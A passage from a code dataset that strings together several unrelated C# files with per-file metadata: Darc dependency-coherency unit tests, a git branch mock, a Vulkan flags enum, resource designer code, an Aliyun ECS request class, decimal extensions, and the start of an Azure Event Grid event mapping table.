m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); // Older build has matching feeds. RepoHadBuilds(barClientMock, "repoB", "commit5", new List<Build> { CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet566/nuget/v3/index.json", "https://dotnetfeed.blob.core.windows.net/dotnet-core2/index.json" } ) }, 10), CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json", "https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json" } ) }, 11) }); RepositoryHasFeeds(gitRepoMock, "repoA", "commit1", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet566/nuget/v3/index.json" }); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); Assert.Collection(u.To.Locations, u => { Assert.Equal("https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet566/nuget/v3/index.json", u); }, u => { Assert.Equal("https://dotnetfeed.blob.core.windows.net/dotnet-core2/index.json", u); } ); }); } /// <summary> /// Test that disambiguation with build info works if it is available. /// This test has the asset we are going to update to being generated by /// two separate builds of the CPD parents commit. Both builds have the assets, /// and both match. The later build id should be returned /// </summary> [Fact] public async Task StrictCoherencyUpdateTests14() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Mock<IGitRepo> gitRepoMock = new Mock<IGitRepo>(); Remote remote = new Remote(gitRepoMock.Object, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); // Older build has matching feeds. RepoHadBuilds(barClientMock, "repoB", "commit5", new List<Build> { CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet566/nuget/v3/index.json", "https://dotnetfeed.blob.core.windows.net/dotnet-core2/index.json" } ) }, 10), CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet566/nuget/v3/index.json", "https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json" } ) }, 11) }); RepositoryHasFeeds(gitRepoMock, "repoA", "commit1", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet566/nuget/v3/index.json" }); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); Assert.Collection(u.To.Locations, u => { Assert.Equal("https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet566/nuget/v3/index.json", u); }, u => { Assert.Equal("https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json", u); } ); }); } /// <summary> /// Test that disambiguation with build info works if it is available. /// This test has the asset we are going to update not being generated /// by the CPD parent's build. /// </summary> [Fact] public async Task StrictCoherencyUpdateTests15() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); BuildProducesAssets(barClientMock, "repoB", "commit5", new List<(string name, string version, string[])> {}); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); Assert.Null(u.To.Locations); }); } /// <summary> /// Test that disambiguation with build info works if it is available. /// This test has the the asset only generated by one of the builds. /// </summary> [Fact] public async Task StrictCoherencyUpdateTests16() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Mock<IGitRepo> gitRepoMock = new Mock<IGitRepo>(); Remote remote = new Remote(gitRepoMock.Object, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); RepoHadBuilds(barClientMock, "repoB", "commit5", new List<Build> { CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json", "https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json" } ) }, 13), CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v43", null ) }, 1) }); // Repo has no feeds RepositoryHasFeeds(gitRepoMock, "repoA", "commit1", new string[] { }); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); Assert.Collection(u.To.Locations, u => { Assert.Equal("https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json", u); }, u => { Assert.Equal("https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json", u); } ); }); } private DependencyDetail AddDependency(List<DependencyDetail> details, string name, string version, string repo, string commit, bool pinned = false, string coherentParent = null) { DependencyDetail dep = new DependencyDetail { Name = name, Version = version, RepoUri = repo, Commit = commit, Pinned = pinned, Type = DependencyType.Product, CoherentParentDependencyName = coherentParent }; details.Add(dep); return dep; } private void RepoHasDependencies(Mock<IRemote> remoteMock, string repo, string commit, List<DependencyDetail> dependencies) { remoteMock.Setup(m => m.GetDependenciesAsync(repo, commit, null, false)).ReturnsAsync(dependencies); } private void RepoHadBuilds(Mock<IBarClient> barClientMock, string repo, string commit, IEnumerable<Build> builds) { barClientMock.Setup(m => m.GetBuildsAsync(repo, commit)).ReturnsAsync(builds); } private Build CreateBuild(string repo, string commit, List<(string name, string version, string[] locations)> assets, int buildId = -1) { if (buildId == -1) { buildId = GetRandomId(); } var buildAssets = assets.Select<(string, string, string[]), Asset>(a => new Asset( GetRandomId(), buildId, true, a.Item1, a.Item2, a.Item3?.Select(location => new AssetLocation(GetRandomId(), LocationType.NugetFeed, location)).ToImmutableList())); return new Build(buildId, DateTimeOffset.Now, 0, false, false, commit, null, buildAssets.ToImmutableList(), null, null) { AzureDevOpsRepository = repo, GitHubRepository = repo }; } private void BuildProducesAssets(Mock<IBarClient> barClientMock, string repo, string commit, List<(string name, string version, string[] locations)> assets, int buildId = -1) { Build build = CreateBuild(repo, commit, assets, buildId); barClientMock.Setup(m => m.GetBuildsAsync(repo, commit)).ReturnsAsync(new List<Build> { build }); } private void RepositoryHasFeeds(Mock<IGitRepo> barClientMock, string repo, string commit, string[] feeds) { const string baseNugetConfig = @"<?xml version=""1.0"" encoding=""utf - 8""?> <configuration> <packageSources> <clear/> FEEDSHERE </packageSources> </configuration>"; string nugetConfig = baseNugetConfig.Replace("FEEDSHERE", string.Join(Environment.NewLine, feeds.Select(feed => $@"<add key = ""{GetRandomId()}"" value = ""{feed}"" />"))); barClientMock.Setup(m => m.GetFileContentsAsync(VersionFiles.NugetConfig, repo, commit)).ReturnsAsync(nugetConfig); } private Random _randomIdGenerator = new Random(); private int GetRandomId() { return _randomIdGenerator.Next(); } /// <summary> /// Updates <paramref name="currentDependencies"/> with <paramref name="updates"/> /// </summary> /// <param name="currentDependencies">Full set of existing dependency details</param> /// <param name="updates">Updates.</param> private void UpdateCurrentDependencies(List<DependencyDetail> currentDependencies, List<DependencyUpdate> updates) { foreach (DependencyUpdate update in updates) { DependencyDetail from = update.From; DependencyDetail to = update.To; // Replace in the current dependencies list so the correct data is fed into the coherency pass. currentDependencies.Remove(from); currentDependencies.Add(to); } } } }
49.902577
147
0.575704
[ "MIT" ]
meganaquinn/arcade-services
src/Microsoft.DotNet.Darc/tests/Microsoft.DotNet.Darc.Tests/DependencyCoherencyTests.cs
79,395
C#
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using LibGit2Sharp; namespace Microsoft.Build.Tasks.Git.UnitTests { internal class TestBranch : Branch { private readonly Reference _reference; public TestBranch(string tipCommitSha) { _reference = new TestReference(tipCommitSha); } public override Reference Reference => _reference; } }
27.263158
161
0.69112
[ "Apache-2.0" ]
ctaggart/dotnet-sourcelink
src/Microsoft.Build.Tasks.Git.UnitTests/Mocks/TestBranch.cs
520
C#
// The MIT License (MIT) // // Copyright (c) Andrew Armstrong/FacticiusVir & xuri 2021 // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // This file was automatically generated and should not be edited directly. namespace SharpVk { /// <summary> /// </summary> [System.Flags] public enum DescriptorUpdateTemplateCreateFlags { /// <summary> /// </summary> None = 0, } }
39.189189
81
0.726207
[ "MIT" ]
xuri02/SharpVk
src/SharpVk/DescriptorUpdateTemplateCreateFlags.gen.cs
1,450
C#
namespace RandomMediaPlayer.Core.Displayables { /// <summary> /// An element that can be displayed on the UI /// </summary> public interface IDisplayable { /// <summary> /// Indicates on which control is the element displayed /// </summary> System.Windows.UIElement DisplayedOn { get; } /// <summary> /// Source of the element /// </summary> string Source { get; } /// <summary> /// Displays the element on given control /// </summary> /// <param name="control">The control to display the element at</param> void DisplayOn(System.Windows.UIElement control); /// <summary> /// Hides the element from the <see cref="DisplayedOn"/> control /// </summary> void Hide(); } }
30.740741
79
0.562651
[ "MIT" ]
KowalskiPiotr98/RandomMediaPlayer
RandomMediaPlayer.Core/Displayables/IDisplayable.cs
832
C#
using System; // ReSharper disable UnusedMember.Global // ReSharper disable UnusedType.Global namespace YL.Simplification { public static class DecimalExtensions { public static decimal Abs(this decimal self) { return Math.Abs(self); } public static bool Between(this decimal self, decimal min, decimal max, bool inclusive = true) { return inclusive ? self >= min && self <= max : self > min && self < max; } public static decimal Clamp(this decimal self, decimal min, decimal max) { return self < min ? min : self > max ? max : self; } public static decimal ClampMax(this decimal self, decimal max) { return self > max ? max : self; } public static decimal ClampMin(this decimal self, decimal min) { return self < min ? min : self; } public static decimal Round(this decimal self) { return Math.Round(self); } public static decimal Round(this decimal self, int decimals) { return Math.Round(self, decimals); } public static int Sign(this decimal self) { return Math.Sign(self); } public static decimal Sqr(this decimal self) { return self * self; } } }
23.772727
102
0.496495
[ "MIT" ]
YLahin/TequilaLegacy
YL.Simplification/DecimalExtensions.cs
1,571
C#
//------------------------------------------------------------------------------ // <auto-generated> // このコードはツールによって生成されました。 // ランタイム バージョン:4.0.30319.42000 // // このファイルへの変更は、以下の状況下で不正な動作の原因になったり、 // コードが再生成されるときに損失したりします // </auto-generated> //------------------------------------------------------------------------------ namespace yoketoruvs20.Properties { /// <summary> /// ローカライズされた文字列などを検索するための、厳密に型指定されたリソース クラスです。 /// </summary> // このクラスは StronglyTypedResourceBuilder クラスが ResGen // または Visual Studio のようなツールを使用して自動生成されました。 // メンバーを追加または削除するには、.ResX ファイルを編集して、/str オプションと共に // ResGen を実行し直すか、または VS プロジェクトをリビルドします。 [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// <summary> /// このクラスで使用されるキャッシュされた ResourceManager インスタンスを返します。 /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if ((resourceMan == null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("yoketoruvs20.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// <summary> /// すべてについて、現在のスレッドの CurrentUICulture プロパティをオーバーライドします /// 現在のスレッドの CurrentUICulture プロパティをオーバーライドします。 /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } } }
36.083333
178
0.602002
[ "MIT" ]
Amleth55/yoketoruvs20
yoketoruvs20/Properties/Resources.Designer.cs
3,222
C#
namespace LibNavigate.Iterator.Helper { public interface IShallowClone { object ShallowClone(); } }
15.125
38
0.661157
[ "MIT" ]
SunMaungOo/LibNavigate
LibNavigate/Iterator/Helper/IShallowClone.cs
123
C#
//------------------------------------------------------------------------------ // <generado automáticamente> // Este código fue generado por una herramienta. // // Los cambios en este archivo podrían causar un comportamiento incorrecto y se perderán si // se vuelve a generar el código. // </generado automáticamente> //------------------------------------------------------------------------------ namespace ProyectoFinal.Views.PrivateViews { public partial class ConfiguracionBorrar { } }
32.875
95
0.492395
[ "MIT" ]
MitchAguilar/AlbergueUniamazonia
ProyectoFinal/ProyectoFinal/Views/PrivateViews/ConfiguracionBorrar.aspx.designer.cs
534
C#
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ using System.Collections.Generic; using Aliyun.Acs.Core; using Aliyun.Acs.Core.Http; using Aliyun.Acs.Core.Transform; using Aliyun.Acs.Core.Utils; using Aliyun.Acs.Ecs.Transform; using Aliyun.Acs.Ecs.Transform.V20140526; namespace Aliyun.Acs.Ecs.Model.V20140526 { public class CreateAutoSnapshotPolicyRequest : RpcAcsRequest<CreateAutoSnapshotPolicyResponse> { public CreateAutoSnapshotPolicyRequest() : base("Ecs", "2014-05-26", "CreateAutoSnapshotPolicy", "ecs", "openAPI") { } private long? resourceOwnerId; private string resourceOwnerAccount; private string regionId; private string action; private string timePoints; private int? retentionDays; private long? ownerId; private string repeatWeekdays; private string autoSnapshotPolicyName; public long? ResourceOwnerId { get { return resourceOwnerId; } set { resourceOwnerId = value; DictionaryUtil.Add(QueryParameters, "ResourceOwnerId", value.ToString()); } } public string ResourceOwnerAccount { get { return resourceOwnerAccount; } set { resourceOwnerAccount = value; DictionaryUtil.Add(QueryParameters, "ResourceOwnerAccount", value); } } public string RegionId { get { return regionId; } set { regionId = value; DictionaryUtil.Add(QueryParameters, "regionId", value); } } public string Action { get { return action; } set { action = value; DictionaryUtil.Add(QueryParameters, "Action", value); } } public string TimePoints { get { return timePoints; } set { timePoints = value; DictionaryUtil.Add(QueryParameters, "timePoints", value); } } public int? RetentionDays { get { return retentionDays; } set { retentionDays = value; DictionaryUtil.Add(QueryParameters, "retentionDays", value.ToString()); } } public long? OwnerId { get { return ownerId; } set { ownerId = value; DictionaryUtil.Add(QueryParameters, "OwnerId", value.ToString()); } } public string RepeatWeekdays { get { return repeatWeekdays; } set { repeatWeekdays = value; DictionaryUtil.Add(QueryParameters, "repeatWeekdays", value); } } public string AutoSnapshotPolicyName { get { return autoSnapshotPolicyName; } set { autoSnapshotPolicyName = value; DictionaryUtil.Add(QueryParameters, "autoSnapshotPolicyName", value); } } public override CreateAutoSnapshotPolicyResponse GetResponse(UnmarshallerContext unmarshallerContext) { return CreateAutoSnapshotPolicyResponseUnmarshaller.Unmarshall(unmarshallerContext); } } }
21.050562
109
0.65786
[ "Apache-2.0" ]
pengesoft/aliyun-openapi-net-sdk
aliyun-net-sdk-ecs/Ecs/Model/V20140526/CreateAutoSnapshotPolicyRequest.cs
3,747
C#
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. using System; using System.Collections.Generic; using System.Text.Json; using Azure.Messaging.EventGrid.SystemEvents; namespace Azure.Messaging.EventGrid { internal class SystemEventTypeMappings { public static readonly IReadOnlyDictionary<string, Func<JsonElement, object>> SystemEventDeserializers = new Dictionary<string, Func<JsonElement, object>>(StringComparer.OrdinalIgnoreCase) { // KEEP THIS SORTED BY THE NAME OF THE PUBLISHING SERVICE // Add handling for additional event types here. // AppConfiguration events { EventTypes.AppConfigurationKeyValueDeletedEvent, AppConfigurationKeyValueDeletedEventData.DeserializeAppConfigurationKeyValueDeletedEventData }, { EventTypes.AppConfigurationKeyValueModifiedEvent, AppConfigurationKeyValueModifiedEventData.DeserializeAppConfigurationKeyValueModifiedEventData }, // Communication events { EventTypes.ACSChatMemberAddedToThreadWithUserEvent, ACSChatMemberAddedToThreadWithUserEventData.DeserializeACSChatMemberAddedToThreadWithUserEventData }, { EventTypes.ACSChatMemberRemovedFromThreadWithUserEvent, ACSChatMemberRemovedFromThreadWithUserEventData.DeserializeACSChatMemberRemovedFromThreadWithUserEventData }, { EventTypes.ACSChatMessageDeletedEvent, ACSChatMessageDeletedEventData.DeserializeACSChatMessageDeletedEventData }, { EventTypes.ACSChatMessageEditedEvent, ACSChatMessageEditedEventData.DeserializeACSChatMessageEditedEventData }, { EventTypes.ACSChatMessageReceivedEvent, ACSChatMessageReceivedEventData.DeserializeACSChatMessageReceivedEventData }, { EventTypes.ACSChatThreadCreatedWithUserEvent, ACSChatThreadCreatedWithUserEventData.DeserializeACSChatThreadCreatedWithUserEventData }, { EventTypes.ACSChatThreadPropertiesUpdatedPerUserEvent, ACSChatThreadPropertiesUpdatedPerUserEventData.DeserializeACSChatThreadPropertiesUpdatedPerUserEventData }, { EventTypes.ACSChatThreadWithUserDeletedEvent, ACSChatThreadWithUserDeletedEventData.DeserializeACSChatThreadWithUserDeletedEventData }, { EventTypes.ACSSMSDeliveryReportReceivedEvent, AcssmsDeliveryReportReceivedEventData.DeserializeAcssmsDeliveryReportReceivedEventData }, { EventTypes.ACSSMSReceivedEvent, AcssmsReceivedEventData.DeserializeAcssmsReceivedEventData }, // ContainerRegistry events { EventTypes.ContainerRegistryImagePushedEvent, ContainerRegistryImagePushedEventData.DeserializeContainerRegistryImagePushedEventData }, { EventTypes.ContainerRegistryImageDeletedEvent, ContainerRegistryImageDeletedEventData.DeserializeContainerRegistryImageDeletedEventData }, { EventTypes.ContainerRegistryChartDeletedEvent, ContainerRegistryChartDeletedEventData.DeserializeContainerRegistryChartDeletedEventData }, { EventTypes.ContainerRegistryChartPushedEvent, ContainerRegistryChartPushedEventData.DeserializeContainerRegistryChartPushedEventData }, // IoTHub Device events { EventTypes.IoTHubDeviceCreatedEvent, IotHubDeviceCreatedEventData.DeserializeIotHubDeviceCreatedEventData }, { EventTypes.IoTHubDeviceDeletedEvent, IotHubDeviceDeletedEventData.DeserializeIotHubDeviceDeletedEventData }, { EventTypes.IoTHubDeviceConnectedEvent, IotHubDeviceConnectedEventData.DeserializeIotHubDeviceConnectedEventData }, { EventTypes.IoTHubDeviceDisconnectedEvent, IotHubDeviceDisconnectedEventData.DeserializeIotHubDeviceDisconnectedEventData }, { EventTypes.IotHubDeviceTelemetryEvent, IotHubDeviceTelemetryEventData.DeserializeIotHubDeviceTelemetryEventData }, // EventGrid events { EventTypes.EventGridSubscriptionValidationEvent, SubscriptionValidationEventData.DeserializeSubscriptionValidationEventData }, { EventTypes.EventGridSubscriptionDeletedEvent, SubscriptionDeletedEventData.DeserializeSubscriptionDeletedEventData }, // Event Hub events { EventTypes.EventHubCaptureFileCreatedEvent, EventHubCaptureFileCreatedEventData.DeserializeEventHubCaptureFileCreatedEventData }, // MachineLearningServices events { EventTypes.MachineLearningServicesDatasetDriftDetectedEvent, MachineLearningServicesDatasetDriftDetectedEventData.DeserializeMachineLearningServicesDatasetDriftDetectedEventData }, { EventTypes.MachineLearningServicesModelDeployedEvent, MachineLearningServicesModelDeployedEventData.DeserializeMachineLearningServicesModelDeployedEventData }, { EventTypes.MachineLearningServicesModelRegisteredEvent, MachineLearningServicesModelRegisteredEventData.DeserializeMachineLearningServicesModelRegisteredEventData }, { EventTypes.MachineLearningServicesRunCompletedEvent, MachineLearningServicesRunCompletedEventData.DeserializeMachineLearningServicesRunCompletedEventData }, { EventTypes.MachineLearningServicesRunStatusChangedEvent, MachineLearningServicesRunStatusChangedEventData.DeserializeMachineLearningServicesRunStatusChangedEventData }, // Maps events { EventTypes.MapsGeofenceEnteredEvent, MapsGeofenceEnteredEventData.DeserializeMapsGeofenceEnteredEventData }, { EventTypes.MapsGeofenceExitedEvent, MapsGeofenceExitedEventData.DeserializeMapsGeofenceExitedEventData }, { EventTypes.MapsGeofenceResultEvent, MapsGeofenceResultEventData.DeserializeMapsGeofenceResultEventData }, // Media Services events { EventTypes.MediaJobStateChangeEvent, MediaJobStateChangeEventData.DeserializeMediaJobStateChangeEventData }, { EventTypes.MediaJobOutputStateChangeEvent, MediaJobOutputStateChangeEventData.DeserializeMediaJobOutputStateChangeEventData }, { EventTypes.MediaJobScheduledEvent, MediaJobScheduledEventData.DeserializeMediaJobScheduledEventData }, { EventTypes.MediaJobProcessingEvent, MediaJobProcessingEventData.DeserializeMediaJobProcessingEventData }, { EventTypes.MediaJobCancelingEvent, MediaJobCancelingEventData.DeserializeMediaJobCancelingEventData }, { EventTypes.MediaJobFinishedEvent, MediaJobFinishedEventData.DeserializeMediaJobFinishedEventData }, { EventTypes.MediaJobCanceledEvent, MediaJobCanceledEventData.DeserializeMediaJobCanceledEventData }, { EventTypes.MediaJobErroredEvent, MediaJobErroredEventData.DeserializeMediaJobErroredEventData }, { EventTypes.MediaJobOutputCanceledEvent, MediaJobOutputCanceledEventData.DeserializeMediaJobOutputCanceledEventData }, { EventTypes.MediaJobOutputCancelingEvent, MediaJobOutputCancelingEventData.DeserializeMediaJobOutputCancelingEventData }, { EventTypes.MediaJobOutputErroredEvent, MediaJobOutputErroredEventData.DeserializeMediaJobOutputErroredEventData }, { EventTypes.MediaJobOutputFinishedEvent, MediaJobOutputFinishedEventData.DeserializeMediaJobOutputFinishedEventData }, { EventTypes.MediaJobOutputProcessingEvent, MediaJobOutputProcessingEventData.DeserializeMediaJobOutputProcessingEventData }, { EventTypes.MediaJobOutputScheduledEvent, MediaJobOutputScheduledEventData.DeserializeMediaJobOutputScheduledEventData }, { EventTypes.MediaJobOutputProgressEvent, MediaJobOutputProgressEventData.DeserializeMediaJobOutputProgressEventData }, { EventTypes.MediaLiveEventEncoderConnectedEvent, MediaLiveEventEncoderConnectedEventData.DeserializeMediaLiveEventEncoderConnectedEventData }, { EventTypes.MediaLiveEventConnectionRejectedEvent, MediaLiveEventConnectionRejectedEventData.DeserializeMediaLiveEventConnectionRejectedEventData }, { EventTypes.MediaLiveEventEncoderDisconnectedEvent, MediaLiveEventEncoderDisconnectedEventData.DeserializeMediaLiveEventEncoderDisconnectedEventData }, { EventTypes.MediaLiveEventIncomingStreamReceivedEvent, MediaLiveEventIncomingStreamReceivedEventData.DeserializeMediaLiveEventIncomingStreamReceivedEventData }, { EventTypes.MediaLiveEventIncomingStreamsOutOfSyncEvent, MediaLiveEventIncomingStreamsOutOfSyncEventData.DeserializeMediaLiveEventIncomingStreamsOutOfSyncEventData }, { EventTypes.MediaLiveEventIncomingVideoStreamsOutOfSyncEvent, MediaLiveEventIncomingVideoStreamsOutOfSyncEventData.DeserializeMediaLiveEventIncomingVideoStreamsOutOfSyncEventData }, { EventTypes.MediaLiveEventIncomingChunkDroppedEvent, MediaLiveEventIncomingDataChunkDroppedEventData.DeserializeMediaLiveEventIncomingDataChunkDroppedEventData }, { EventTypes.MediaLiveEventIngestHeartbeatEvent, MediaLiveEventIngestHeartbeatEventData.DeserializeMediaLiveEventIngestHeartbeatEventData }, { EventTypes.MediaLiveEventTrackDiscontinuityDetectedEvent, MediaLiveEventTrackDiscontinuityDetectedEventData.DeserializeMediaLiveEventTrackDiscontinuityDetectedEventData }, // Resource Manager (Azure Subscription/Resource Group) events { EventTypes.ResourceWriteSuccessEvent, ResourceWriteSuccessData.DeserializeResourceWriteSuccessData }, { EventTypes.ResourceWriteFailureEvent, ResourceWriteFailureData.DeserializeResourceWriteFailureData }, { EventTypes.ResourceWriteCancelEvent, ResourceWriteCancelData.DeserializeResourceWriteCancelData }, { EventTypes.ResourceDeleteSuccessEvent, ResourceDeleteSuccessData.DeserializeResourceDeleteSuccessData }, { EventTypes.ResourceDeleteFailureEvent, ResourceDeleteFailureData.DeserializeResourceDeleteFailureData }, { EventTypes.ResourceDeleteCancelEvent, ResourceDeleteCancelData.DeserializeResourceDeleteCancelData }, { EventTypes.ResourceActionSuccessEvent, ResourceActionSuccessData.DeserializeResourceActionSuccessData }, { EventTypes.ResourceActionFailureEvent, ResourceActionFailureData.DeserializeResourceActionFailureData }, { EventTypes.ResourceActionCancelEvent, ResourceActionCancelData.DeserializeResourceActionCancelData }, // ServiceBus events { 